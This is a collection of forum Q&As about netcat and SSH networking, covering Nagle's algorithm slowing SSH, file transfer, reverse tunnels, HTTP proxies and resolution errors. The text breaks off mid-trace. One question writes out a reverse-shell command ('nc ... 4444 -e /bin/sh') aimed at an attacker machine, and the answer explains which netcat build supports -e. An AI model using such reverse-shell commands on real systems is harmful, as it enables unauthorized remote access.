192.168.1.150 port 5201 [ ID] Interval Transfer Bitrate [ 5] 0.00-1.00 sec 3.43 MBytes 28.7 Mbits/sec ... - - - - - - - - - - - - - - - - - - - - - - - - - [ ID] Interval Transfer Bitrate Retr [ 5] 0.00-10.00 sec 39.2 MBytes 32.9 Mbits/sec 375 sender [ 5] 0.00-10.00 sec 37.7 MBytes 31.6 Mbits/sec receiver So basically, uploading to the SBC reaches about 24MBits/sec, and downloading from it (-R) reaches 32MBits/sec. Benchmarking with SSH Given that, let's see how SSH fares. I've first experienced the problems that led to this post when using rsync and borgbackup - both of them using SSH as a transport layer... So let's see how SSH performs on the same link: # cat /dev/urandom | \ pv -ptebar | \ ssh [email protected] 'cat >/dev/null' 20.3MiB 0:00:52 [ 315KiB/s] [ 394KiB/s] Well, that's an abysmal speed! Much slower than the expected link speed... (In case you are not aware of pv -ptevar: it displays the current and average rate of data going through it. In this case, we see that reading from /dev/urandom and sending the data over SSH to the SBC is on average reaching 400KB/s - i.e. 3.2MBits/sec, a far lesser figure than the expected 24MBits/sec.) Why is our link running at 13% of its capacity? Is it perhaps our /dev/urandom's fault? # cat /dev/urandom | pv -ptebar > /dev/null 834MiB 0:00:04 [ 216MiB/s] [ 208MiB/s] Nope, definitely not. Is it perhaps the SBC itself? Perhaps it's too slow to process? Let's try running the same SSH command (i.e. sending data to the SBC) but this time from another machine (Machine 2) that is connected over the Ethernet: # cat /dev/urandom | \ pv -ptebar | \ ssh [email protected] 'cat >/dev/null' 240MiB 0:00:31 [10.7MiB/s] [7.69MiB/s] Nope, this works fine - the SSH daemon on the SBC can (easily) handle the 11MBytes/sec (i.e. the 100MBits/sec) that it's Ethernet link provides. And is the CPU of the SBC loaded while doing this? Nope. So... network-wise (as per iperf3) we should be able to do 10x the speed our CPU can easily accommodate the load ... and we don't involve any other kind of I/O (e.g. drives). What the heck is happening? Netcat and ProxyCommand to the rescue Let's try plain old netcat connections - do they run as fast as we'd expect? In the SBC: # nc -l -p 9988 | pv -ptebar > /dev/null In the laptop: # cat /dev/urandom | pv -ptebar | nc 192.168.1.150 9988 117MiB 0:00:33 [3.82MiB/s] [3.57MiB/s] It works! And runs at the expected - much better, 10x better - speed. So what happens if I run SSH using a ProxyCommand to use nc? # cat /dev/urandom | \ pv -ptebar | \ ssh -o "Proxycommand nc %h %p" [email protected] 'cat >/dev/null' 101MiB 0:00:30 [3.38MiB/s] [3.33MiB/s] Works! 10x speed. Now I am a bit confused - when using a "naked" nc as a Proxycommand, aren't you basically doing the exact same thing that SSH does? i.e. creating a socket, connecting to the SBC's port 22, and then shoveling the SSH protocol over it? Why is there this huge difference in the resulting speed? P.S. This was not an academic exercise - my borg backup runs 10 times faster because of this. I just don't know why :-) EDIT: Added a "video" of the process here. Counting the packets sent from the output of ifconfig, it is clear that in both tests we are sending 40MB of data, transmitting them in approximately 30K packets - just much slower when not using ProxyCommand.
Many thanks to the people who submitted ideas in the comments. I went through them all: Recording packets with tcpdump and comparing the contents in WireShark # tcpdump -i wlan0 -w good.ssh & \ cat signature | ssh -o "ProxyCommand nc %h %p" \ [email protected] 'cat | md5sum' ; \ killall tcpdump # tcpdump -i wlan0 -w bad.ssh & \ cat signature | ssh [email protected] 'cat | md5sum' ; \ killall tcpdump There was no difference of any importance in the recorded packets. Checking for traffic shaping Had no idea about this - but after looking at the "tc" manpage, I was able to verify that tc filter show returns nothing tc class show returns nothing tc qdisc show ...returns these: qdisc noqueue 0: dev lo root refcnt 2 qdisc noqueue 0: dev docker0 root refcnt 2 qdisc fq_codel 0: dev wlan0 root refcnt 2 limit 10240p flows 1024 quantum 1514 target 5.0ms interval 100.0ms memory_limit 32Mb ecn ...which don't seem to differentiate between "ssh" and "nc" - in fact, I am not even sure if traffic shaping can operate on the process level (I'd expect it to work on addresses/ports/Differentiated Services field in IP Header). Debian Chroot, to avoid potential "cleverness" in Arch Linux SSH client Nope, same results. Finally - Nagle Performing an strace in the sender... pv data | strace -T -ttt -f ssh 192.168.1.150 'cat | md5sum' 2>bad.log ...and looking at what exactly happens on the socket that transmits the data across, I noticed this "setup" before the actual transmitting starts: 1522665534.007805 getsockopt(3, SOL_TCP, TCP_NODELAY, [0], [4]) = 0 <0.000025> 1522665534.007899 setsockopt(3, SOL_TCP, TCP_NODELAY, [1], 4) = 0 <0.000021> This sets up the SSH socket to disable Nagle's algorithm. You can Google and read all about it - but what it means, is that SSH is giving priority to responsiveness over bandwidth - it instructs the kernel to transmit anything written on this socket immediately and not "delay" waiting for acknowledgments from the remote. What this means, in plain terms, is that in its default configuration, SSH is NOT a good way to transport data across - not when the link used is a slow one (which is the case for many WiFi links). If we are sending packets over the air that are "mostly headers", the bandwidth is wasted! To prove that this was indeed the culprit, I used LD_PRELOAD to "drop" this specific syscall: $ cat force_nagle.c #include <stdio.h> #include <dlfcn.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <sys/socket.h> int (*osetsockopt) (int socket, int level, int option_name, const void *option_value, socklen_t option_len) = NULL; int setsockopt(int socket, int level, int option_name, const void *option_value, socklen_t option_len) { int ret; if (!osetsockopt) { osetsockopt = dlsym(RTLD_NEXT, "setsockopt"); } if (option_name == TCP_NODELAY) { puts("No, Mr Nagle stays."); return 0; } ret = osetsockopt(socket, level, option_name, option_value, option_len); return ret; } $ gcc -fPIC -D_GNU_SOURCE -shared -o force_nagle.so force_nagle.c -ldl $ pv /dev/shm/data | LD_PRELOAD=./force_nagle.so ssh [email protected] 'cat >/dev/null' No, Mr Nagle stays. No, Mr Nagle stays. 100MiB 0:00:29 [3.38MiB/s] [3.38MiB/s] [================================>] 100% There - perfect speed (well, just as fast as iperf3). Morale of the story Never give up :-) And if you do use tools like rsync or borgbackup that transport their data over SSH, and your link is a slow one, try stopping SSH from disabling Nagle (as shown above) - or using ProxyCommand to switch SSH to connect via nc. This can be automated in your $HOME/.ssh/config: $ cat .ssh/config ... Host orangepi Hostname 192.168.1.150 User root Port 22 # Compression no # Cipher None ProxyCommand nc %h %p ... ...so that all future uses of "orangepi" as a target host in ssh/rsync/borgbackup will henceforth use nc to connect (and therefore leave Nagle alone).
SSH speed greatly improved via ProxyCommand - but why?
1,373,493,602,000
I am trying to get a shell on host machine from another (attacker) machine. Attacker machine is listening. I am running below command on my host machine nc 123.123.123.12 4444 -e /bin/sh Output I get: nc: invalid option -- 'e' usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl] [-m minttl] [-O length] [-P proxy_username] [-p source_port] [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]
There are multiple variants of netcat. Install the version of netcat developed by nmap.org On my Ubuntu system, there are 2 packages netcat and ncat. The one from nmap is ncat and supports the -e option. The other one does not. You need to find the right package for your distribution. EDIT: On Kali Linux (2022.3), the packages netcat-openbsd and netcat-traditional will install the netcat version without the -e option. If you want the one with the -e option, install the package ncat. After installing ncat, the binary to launch will be /usr/bin/ncat
invalid option -e in netcat
1,373,493,602,000
What is the simplest and most versatile way to send files over the network to other computers? By that I mean computers that other people are using at the moment. I don't think SSH works if the computer has an active session open. So far I am using netcat, which works alright. But are there any other simple ways to do this? One problem I have with netcat, is that the receiver needs to know the file ending and has to come up with a name for the stream.
You're complicating your life needlessly. Use scp. To transfer a file myfile from your local directory to directory /foo/bar on machine otherhost as user user, here's the syntax: scp myfile user@otherhost:/foo/bar. EDIT: It is worth noting that transfer via scp/SSH is encrypted while transfer via netcat or HTTP isn't. So if you are transferring sensitive files, always use the former.
Simplest way to send files over network
1,373,493,602,000
I want to open a remote desktop session from my laptop to desktop over my SSH (reverse) tunnel. That should be simple (or at least doable), right? Until now I've been using Team Viewer to log in to the remote desktop. I'd like to achieve similar results without Team Viewer. Here's what my SSH tunnel looks like: laptop--->nat--->middleman<--nat<--desktop All machines are running Linux (mostly Kubuntu 12.04 or OpenSuse 12.3). I cannot change any ports or make any configuration changes on the nat routers. I'll describe my SSH tunnel because understanding that appears to be necessary in solving the VNC / remote desktop issue that is the heart of my question. Regarding this leg: middleman<--nat<--desktop ...here is how it is established: autossh -M 5234 -N -f -R 1234:localhost:22 [email protected] Regarding this leg: laptop--->nat--->middleman I can connect to middleman as follows: me@laptop:~$ ssh -i ~/.ssh/id_rsa admin@middleman However, what I actually need to do is connect directly to the desktop, not to the middleman. To do that I use netcat ("nc") on middleman. Based on this it appears that nc is required. So I edit my SSH config file on laptop to use ProxyCommand and nc: me@laptop:~/.ssh$ nano config The contents are: Host family_desktops ProxyCommand ssh middleman_fqdn nc localhost %p User admin PasswordAuthentication no IdentityFile ~/.ssh/my_id_rsa Where middleman_fqdn is like "middleman.com" Then I just connect to "desktop" in one step: me@laptop:~$ ssh family_desktops -p 1234 (I got this working based on help here and here and other related questions I asked. I have asked a ton of questions on this topic because I have been wresting with it for many weeks.) With this SSH connection I reach a fully functioning shell on my computer labeled desktop. Perfect. Now I just need a VNC-like (or TeamViewer-like) remote desktop solution over this SSH tunnel. How? Here is what I have tried so far: middleman<--nat<--desktop autossh -M 5235 -N -f -R 1235:localhost:5901 [email protected] with that connection established: x11vnc -autoport 5901 I watch to make sure it connects to port 5901, which it does. laptop--->nat--->middleman<--nat<--desktop laptop ~/.ssh/config: Host family_desktops ProxyCommand ssh -NL 5901:localhost:1235 middleman.com nc localhost 1235 User admin PasswordAuthentication no IdentityFile ~/.ssh/my_id_rsa Tunnel setup: me@laptop:~$ sudo ssh family_desktops VNC client: connect to localhost:5901 This gives an error of "server not found" I have tried a number of variations on the ProxyCommand, none of them successful. Obviously, I'm guessing about which parameters should be in ProxyCommand and which should be on the ssh command line. I can see some potential problems with my setup, but I haven't been able to figure out what will make it all work. P.S. As mentioned, I have asked several questions about this. Some of those led me closer to the solution and form the basis of my present question. Other of my prior questions on this topic just show my ignorance and inability to ask the question in the right form. At this point, this present question represents my best ability to state what my problem is and what my desired solution is, but some of my other questions are still open too. Here's one that is relevant.
Can you try doing the second step without doing the nc? That is - do the VNC with just the -L and -R. I believe the issue is that your netcat session is connecting back to an already open. So when doing the VNC stuff don't use netcat.
Remote desktop over SSH reverse tunnel to replace TeamViewer
1,373,493,602,000
I can access a web page just fine by directly hitting my web server as follows: $ echo "GET /sample" | nc web-server 80 This is contents of /sample... $ Now, I would like netcat to go via a Squid HTTP proxy (listening on port 3128), much like I can configure my Firefox browser via its proxy preferences and have it go via an HTTP proxy. I tried the following, but it did not work: $ echo "GET /sample" | nc -x squid-proxy:3128 web-server 80 <Seemed to be blocked FOREVER on input, so I killed it.> <Ctrl-C> $ Note: I'm using RHEL 5.3 version of netcat that has the following options: $ nc --help nc: invalid option -- - usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]] Excerpt from the man page of nc: EXAMPLES <snip> Connect to port 42 of host.example.com via an HTTP proxy at 10.2.3.4, port 8080. This example could also be used by ssh(1); see the ProxyCommand directive in ssh_config(5) for more information. $ nc -x10.2.3.4:8080 -Xconnect host.example.com 42 Now, because mine is not an ssh/SSL usecase, I'm not sure how to use the -x / -X options, or even whether I should be using them at all! If there's more than one way to achieve the above goal (namely, routing netcat traffic via an HTTP proxy), then I would greatly appreciate if you could share them all. Many thanks in advance.
Netcat is not a specialized HTTP client. Connecting through a proxy server for Netcat thus means creating a TCP connection through the server, which is why it expects a SOCKS or HTTPS proxy with the -x argument, specified by -X: -X proxy_protocol Requests that nc should use the specified protocol when talking to the proxy server. Supported protocols are “4” (SOCKS v.4), “5” (SOCKS v.5) and “connect” (HTTPS proxy). If the protocol is not specified, SOCKS version 5 is used. connect specifies a method for creating SSL (HTTPS) connections through a proxy server. Since the proxy is not the other end point and the connection is endpoint-wise encrypted, a CONNECT request allows you to tunnel a point-to-point connection through an HTTP Proxy (if it is allowed). (I might be glossing over details here, but it's not the important point anyway; details on "HTTP CONNECT tunneling" here) So, to connect to your webserver using a proxy, you'll have to do what the web browser would do - talk to the proxy: $ nc squid-proxy 3128 GET http://webserver/sample HTTP/1.0 (That question has similarities to this one; I don't know if proxychain is of use here.) Addendum A browser using an ordinary HTTP proxy, e.g. Squid (as I know it), does what more or less what the example illustrated, as Netcat can show you: after the nc call, I configured Firefox to use 127.0.0.1 port 8080 as proxy and tried to open google, this is what was output (minus a cookie): $ nc -l 8080 GET http://google.com/ HTTP/1.1 Host: google.com User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 DNT: 1 Proxy-Connection: keep-alive By behaving this way, too, you can use Netcat to access a HTTP server through the HTTP proxy. Now, what should happen if you try to access a HTTPS webserver? The browser surely should not reveal the traffic to anyone in the middle, so a direct connection is needed; and this is where CONNECT comes into play. When I again start nc -l 8080 and try to access, say, https://google.com with the proxy set to 127.0.0.1:80, this is what comes out: CONNECT google.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2 Proxy-Connection: keep-alive Host: google.com You see, the CONNECT requests asks the server for a direct connection to google.com, port 443 (https). Now, what does this request do? $ nc -X connect -x 127.0.0.1:8080 google.com 443 The output from the nc -l 8080 instance: CONNECT google.com:443 HTTP/1.0 So it uses the same way to create a direct connection. However, as this can of course be exploited for almost anything (using for example corkscrew), CONNECT requests are usually restricted to the obvious ports only.
How to make netcat use an existing HTTP proxy
1,373,493,602,000
I have a shell script that uses netcat to listen to localhost on port 1111 for web requests. Every time I try accessing localhost:1111/index.html for example I get: invalid connection to [127.0.0.1] from localhost [127.0.0.1] 60038 the number at the end (60038) seems to be increasing every time I access localhost. Any suggestions on what's going wrong? And what is the default localhost directory? Where should I put an index.html so that localhost:1111/index.html would work? EDIT here is the full script: #!/bin/sh while true do netcat -vvl localhost -p 1111 -c ' set -x read http_request echo HTTP/1.0 200 OK echo echo "Received HTTP request: $http_request" ' done
Your original script requires that the connection comes from a host named localhost, but for some reason that filtering is failing. Unusual, because it matches exactly the name listed in the error: invalid connection to [127.0.0.1] from localhost [127.0.0.1] 60038 This command will listen on the localhost network interface (and will ignore requests from other interfaces, like your LAN): netcat -vvl -s localhost -p 1111 -c ' set -x read http_request echo HTTP/1.0 200 OK echo echo "Received HTTP request: $http_request" ' If you want to listen for requests on all interfaces, you can drop the -s part altogether: netcat -vvl -p 1111 -c '...' On my system, if I want to do the same kind of source host filtering without -s, I need to use either 127.0.0.1 or localhost.localdomain: netcat -vvl localhost.localdomain -p 1111 -c '...' netcat -vvl 127.0.0.1 -p 1111 -c '...' In any case, one of the above options should work for you: $ netcat -vvl 127.0.0.1 -p 1111 -c ' quote> set -x quote> read http_request quote> echo HTTP/1.0 200 OK quote> echo quote> echo "Received HTTP request: $http_request" quote> ' listening on [any] 1111 ... connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 35368 + read http_request + echo HTTP/1.0 200 OK + echo + echo Received HTTP request: GET / HTTP/1.1 $
netcat in shell script giving invalid connection
1,373,493,602,000
Is there a way to know when netcat is done transferring a file between machines? Current commands: Machine #2: nc -lp 5555 > test.txt Machine #1: nc MachineIP Port < test.txt The transfer happens, but there's no visual indication that it has completed.
First some background There are different versions of nc, as you can find on nc(1) - Linux man page or nc(1) BSD General Commands Manual the connection should shut down right after the transfer. There's an example given on both linked sites: Start by using nc to listen on a specific port, with output captured into a file: $ nc -l 1234 > filename.out Using a second machine, connect to the listening nc process, feeding it the file which is to be transferred: $ nc host.example.com 1234 < filename.in After the file has been transferred, the connection will close automatically. Your netcat doesn't shut the connection after the transfer, so it is different from the one(s) described above. It behaves like mine, Netcat 1.10 on Debian Jessie. This behaviour is documented in /usr/share/doc/netcat-traditional/README.gz (on my machine), the boldening is mine: In the simplest usage, "nc host port" creates a TCP connection to the given port on the given target host. Your standard input is then sent to the host, and anything that comes back across the connection is sent to your standard output. This continues indefinitely, until the network side of the connection shuts down. Note that this behavior is different from most other applications which shut everything down and exit after an end-of-file on the standard input. Here's the reasoning behind this behaviour: You may be asking "why not just use telnet to connect to arbitrary ports?" Valid question, and here are some reasons. Telnet has the "standard input EOF" problem, so one must introduce calculated delays in driving scripts to allow network output to finish. This is the main reason netcat stays running until the network side closes. Wikipedia has a run-down of different implementations. I can't name differences though. Maybe someone else can? Now, solutions 1 You can tell nc to quit after the file has been read. This option is useful: -q seconds after EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever. If you use this command on the sending end: nc -q 0 MachineIP Port < test.txt nc will quit 0 seconds after reading EOF, that is just after the file has ended. It will then exit and so will the receiving end nc. If you wonder what happens if the packets don't get across, here's a comment by Juraj. When all packets don't come across, system will detect this and retransmit them without application noticing (or if not possible, application will get timeout error). Reliable delivery is the purpose of TCP protocol provided by OS kernel, which nc uses. You can request UDP protocol that does not do this, using nc -u but this is not the case. 2 There's an original example in the aforementioned README.gz, which is based on the -w timeout and doesn't require the -q option to be present in your implementation. Netcat can be used as a simple data transfer agent, and it doesn't really matter which end is the listener and which end is the client -- input at one side arrives at the other side as output. It is helpful to start the listener at the receiving side with no timeout specified, and then give the sending side a small timeout. That way the listener stays listening until you contact it, and after data stops flowing the client will time out, shut down, and take the listener with it. Unless the intervening network is fraught with problems, this should be completely reliable, and you can always increase the timeout. A typical example of something "rsh" is often used for: on one side, nc -l -p 1234 | uncompress -c | tar xvfp - and then on the other side tar cfp - /some/dir | compress -c | nc -w 3 othermachine 1234 will transfer the contents of a directory from one machine to another, without having to worry about .rhosts files, user accounts, or inetd configurations at either end.
How to know when NC is done transferring a file
1,373,493,602,000
I'm currently trying to write a scan port result to a text file. Here is the command I tried to use: nc -vv -z localhost 1-80 > file.txt This doesn't work (that is, the error messages from nc don't end up in file.txt). But when I type nc -vv -z localhost 80 > file.txt it works. I already know that there is an output but I can't write that to a file.
You need to direct both stderr and stdout into the file: nc -vv -z localhost 1-80 > file.txt 2>&1 Running the command against just one port (80) didn't generate any messages to stderr, so writing stdout to the file was sufficient to capture everything. However, with a range of ports (1-80) we definitely get output written to stderr, so we need to capture that in addition to the redirect that captures stdout.
Write output from netcat to a file
1,373,493,602,000
I have two files, client.sh and server.sh. All the necessary data is on the server, which is sent to the client using netcat. The client just get these data and display it to the end user. The problem is, when I try to show the dialog loading screen from the server to the client: server.sh # CLIENT PORT: 8765 # SERVER PORT: 5678 while : do touch registered_users data nc -vv -l -p 5678 > data case `cat data` in "SPLASH_SCREEN") for ((i=0;i<100;i++)) do echo $i done | dialog --title 'Loading...' --gauge 'Welcome!' 8 40 0 > /dev/tcp/127.0.0.1/8765 ;; esac done client.sh # CLIENT PORT: 8765 # SERVER PORT: 5678 echo "SPLASH_SCREEN" > /dev/tcp/127.0.0.1/5678 while : do nc -l -p 8765 > server_response cat server_response done
Solved it! just had to use the -k option -k Forces nc to stay listening for another connection after its current connection is completed. It is an error to use this option without the -l option. EDIT: This answer assumes you're using openbsd-netcat, some versions like gnu-netcat have a reduced set of features, hence some flags like -k might not be present, package names might vary according to your distro
How can I keep netcat connection open?
1,373,493,602,000
I'm trying to grep live text stream from netcat, but it doesn't work for me: netcat localhost 9090 | grep sender returns nothing, but I'm sure that it should. If I redirect the netcat output to a file and add some delays (simulate real environment) - then it works: $ (sleep 5; cat netcat_output; sleep 5) | grep sender {"jsonrpc":"2.0","method":"GUI.OnScreensaverDeactivated","params":{"data": "shuttingdown":false},"sender":"xbmc"}} I also tried to add --line-buffered but w/o success. What I do wrong? Edit: I noticed the same issue with sed, the output is empty. But, for instance, hexdump converts text to hex live: $ netcat localhost 9090 | hexdump -C 00000000 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 |{"jsonrpc":"2.0"| 00000010 2c 22 6d 65 74 68 6f 64 22 3a 22 50 6c 61 79 65 |,"method":"Playe| 00000020 72 2e 4f 6e 50 6c 61 79 22 2c 22 70 61 72 61 6d |r.OnPlay","param| 00000030 73 22 3a 7b 22 64 61 74 61 22 3a 7b 22 69 74 65 |s":{"data":{"ite| 00000040 6d 22 3a 7b 22 69 64 22 3a 36 2c 22 74 79 70 65 |m":{"id":6,"type| 00000050 22 3a 22 6d 6f 76 69 65 22 7d 2c 22 70 6c 61 79 |":"movie"},"play| 00000060 65 72 22 3a 7b 22 70 6c 61 79 65 72 69 64 22 3a |er":{"playerid":| 00000070 31 2c 22 73 70 65 65 64 22 3a 31 7d 7d 2c 22 73 |1,"speed":1}},"s|
You could use the read command (bash builtin) to force characters to be read one by one : netcat localhost 9090 | ( cnt=0 line= while read -N 1 c; do line="$line$c" if [ "$c" = "{" ]; then cnt=$((cnt+1)) elif [ "$c" = "}" ]; then cnt=$((cnt-1)) if [ $cnt -eq 0 ]; then printf "%s\n" "$line" line= fi fi done ) | grep sender This script should print every full output with balancing {and }, but you can change the script to do whatever you want. This script would NOT do well on a benchmark compared to pretty much anything, but it's pretty simple and seems to work for me... Note that your test sample didn't have matching {and }, so if this is the case of the real input, you might want to change the criteria to print the line.
How to grep netcat output
1,373,493,602,000
How to deal with this: nc: Proxy error: "HTTP/1.1 407 Proxy Authentication Required" nc has a -P option for proxy username, but what's for password?
It's not clear what Netcat variant you're using, but presuming it's OpenBSD's netcat, the proxy authentication behavior, as of version 1.105, should have you prompted on the commandline for a password: "Proxy password for %s@%s: " is the prompt, with proxy username & proxy password applied for the string format inputs.
Does netcat support proxy authentication?
1,373,493,602,000
I'm on a Raspbian, I've tried to receive data with: nc -4 -l -v -k -p 5004 which result in: Listening on [0.0.0.0] (family 2, port 5004) nc: getnameinfo: Temporary failure in name resolution route command return this: Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface default 10.11.10.1 0.0.0.0 UG 0 0 0 00c0caaaeb87 10.11.10.0 0.0.0.0 255.255.255.0 U 0 0 0 00c0caaaeb87 Gateway is reachable: PING 10.11.10.1 (10.11.10.1) 56(84) bytes of data. 64 bytes from 10.11.10.1: icmp_seq=1 ttl=64 time=4.03 ms This are the ip: 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000 link/ether b8:27:eb:4b:46:37 brd ff:ff:ff:ff:ff:ff 3: intwifi0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000 link/ether b8:27:eb:1e:13:62 brd ff:ff:ff:ff:ff:ff 4: 00c0caaaeb87: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 2304 qdisc mq state UP group default qlen 1000 link/ether 00:c0:ca:aa:eb:87 brd ff:ff:ff:ff:ff:ff inet 10.11.10.10/24 brd 10.11.10.255 scope global 00c0caaaeb87 valid_lft forever preferred_lft forever Instead if I connect eth0 and do: dhclient eth0. Nc start work fine. What I'm missing? This is the content of /etc/resolv.conf for both states is the same: # Generated by resolvconf nameserver 10.11.10.1 This is the strace output of the nc process: strace: Process 1780 attached accept(3, {sa_family=AF_INET, sin_port=htons(41250), sin_addr=inet_addr("10.11.10.11")}, [128->16]) = 4 socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5 connect(5, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) close(5) = 0 socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5 connect(5, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) close(5) = 0 open("/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 5 fstat64(5, {st_mode=S_IFREG|0644, st_size=497, ...}) = 0 read(5, "# /etc/nsswitch.conf\n#\n# Example"..., 4096) = 497 read(5, "", 4096) = 0 close(5) = 0 open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 5 fstat64(5, {st_mode=S_IFREG|0644, st_size=104908, ...}) = 0 mmap2(NULL, 104908, PROT_READ, MAP_PRIVATE, 5, 0) = 0x76f45000 close(5) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/arm-linux-gnueabihf/libnss_files.so.2", O_RDONLY|O_CLOEXEC) = 5 read(5, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0\240\31\0\0004\0\0\0"..., 512) = 512 lseek(5, 37440, SEEK_SET) = 37440 read(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 1120) = 1120 lseek(5, 37088, SEEK_SET) = 37088 read(5, "A.\0\0\0aeabi\0\1$\0\0\0\0056\0\6\6\10\1\t\1\n\2\22\4\23\1\24"..., 47) = 47 fstat64(5, {st_mode=S_IFREG|0644, st_size=38560, ...}) = 0 mmap2(NULL, 127744, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 5, 0) = 0x76d98000 mprotect(0x76da1000, 61440, PROT_NONE) = 0 mmap2(0x76db0000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 5, 0x8000) = 0x76db0000 mmap2(0x76db2000, 21248, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x76db2000 close(5) = 0 mprotect(0x76db0000, 4096, PROT_READ) = 0 munmap(0x76f45000, 104908) = 0 getpid() = 1780 open("/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = 5 fstat64(5, {st_mode=S_IFREG|0644, st_size=48, ...}) = 0 read(5, "# Generated by resolvconf\nnamese"..., 4096) = 48 read(5, "", 4096) = 0 close(5) = 0 uname({sysname="Linux", nodename="rx", ...}) = 0 open("/etc/host.conf", O_RDONLY|O_CLOEXEC) = 5 fstat64(5, {st_mode=S_IFREG|0644, st_size=9, ...}) = 0 read(5, "multi on\n", 4096) = 9 read(5, "", 4096) = 0 close(5) = 0 open("/etc/hosts", O_RDONLY|O_CLOEXEC) = 5 fstat64(5, {st_mode=S_IFREG|0644, st_size=119958, ...}) = 0 read(5, "127.0.0.1\tlocalhost\n::1\t\tlocalho"..., 4096) = 4096 close(5) = 0 open("/etc/hosts", O_RDONLY|O_CLOEXEC) = 5 fstat64(5, {st_mode=S_IFREG|0644, st_size=119958, ...}) = 0 read(5, "127.0.0.1\tlocalhost\n::1\t\tlocalho"..., 4096) = 4096 read(5, "0.1 wbc\n127.0.0.1 wbc\n127.0.0.1 "..., 4096) = 4096 read(5, "1 wbc\n127.0.0.1 wbc\n127.0.0.1 wb"..., 4096) = 4096 read(5, "1 wbc\n127.0.0.1 wbc\n127.0.0.1 wb"..., 4096) = 4096 read(5, "\n127.0.0.1 groundpi\n127.0.0.1 wb"..., 4096) = 4096 read(5, "\n127.0.0.1 wbc\n127.0.0.1 wbc\n127"..., 4096) = 4096 read(5, "127.0.0.1 wbc\n127.0.0.1 wbc\n127."..., 4096) = 4096 read(5, "127.0.0.1 wbc\n127.0.0.1 wbc\n127."..., 4096) = 4096 read(5, "bc\n127.0.0.1 wbc\n127.0.0.1 wbc\n1"..., 4096) = 4096 read(5, "0.1 wbc\n127.0.0.1 wbc\n127.0.0.1 "..., 4096) = 4096 read(5, "bc\n127.0.0.1 wbc\n127.0.0.1 groun"..., 4096) = 4096 read(5, ".1 wbc\n127.0.0.1 wbc\n127.0.0.1 w"..., 4096) = 4096 read(5, ".0.0.1 wbc\n127.0.0.1 wbc\n127.0.0"..., 4096) = 4096 read(5, ".0.0.1 wbc\n127.0.0.1 wbc\n127.0.0"..., 4096) = 4096 read(5, "0.0.1 groundpi\n127.0.0.1 wbc\n127"..., 4096) = 4096 read(5, ".0.0.1 wbc\n127.0.0.1 wbc\n127.0.0"..., 4096) = 4096 read(5, "7.0.0.1 wbc\n127.0.0.1 wbc\n127.0."..., 4096) = 4096 read(5, "127.0.0.1 wbc\n127.0.0.1 wbc\n127."..., 4096) = 4096 read(5, "0.1 wbc\n127.0.0.1 wbc\n127.0.0.1 "..., 4096) = 4096 read(5, "0.1 wbc\n127.0.0.1 wbc\n127.0.0.1 "..., 4096) = 4096 read(5, ".0.1 wbc\n127.0.0.1 wbc\n127.0.0.1"..., 4096) = 4096 read(5, "1 wbc\n127.0.0.1 groundpi\n127.0.0"..., 4096) = 4096 read(5, "c\n127.0.0.1 wbc\n127.0.0.1 ground"..., 4096) = 4096 read(5, "1 wbc\n127.0.0.1 wbc\n127.0.0.1 wb"..., 4096) = 4096 read(5, "\n127.0.0.1 wbc\n127.0.0.1 wbc\n127"..., 4096) = 4096 read(5, ".0.0.1 wbc\n127.0.0.1 wbc\n127.0.0"..., 4096) = 4096 read(5, "127.0.0.1 wbc\n127.0.0.1 wbc\n127."..., 4096) = 4096 read(5, "\n127.0.0.1 rx\n127.0.0.1 wbc\n127."..., 4096) = 4096 read(5, "0.0.1 wbc\n127.0.0.1 wbc\n127.0.0."..., 4096) = 4096 read(5, "1 rx\n127.0.0.1 wbc\n127.0.0.1 wbc"..., 4096) = 1174 read(5, "", 4096) = 0 close(5) = 0 open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 5 fstat64(5, {st_mode=S_IFREG|0644, st_size=104908, ...}) = 0 mmap2(NULL, 104908, PROT_READ, 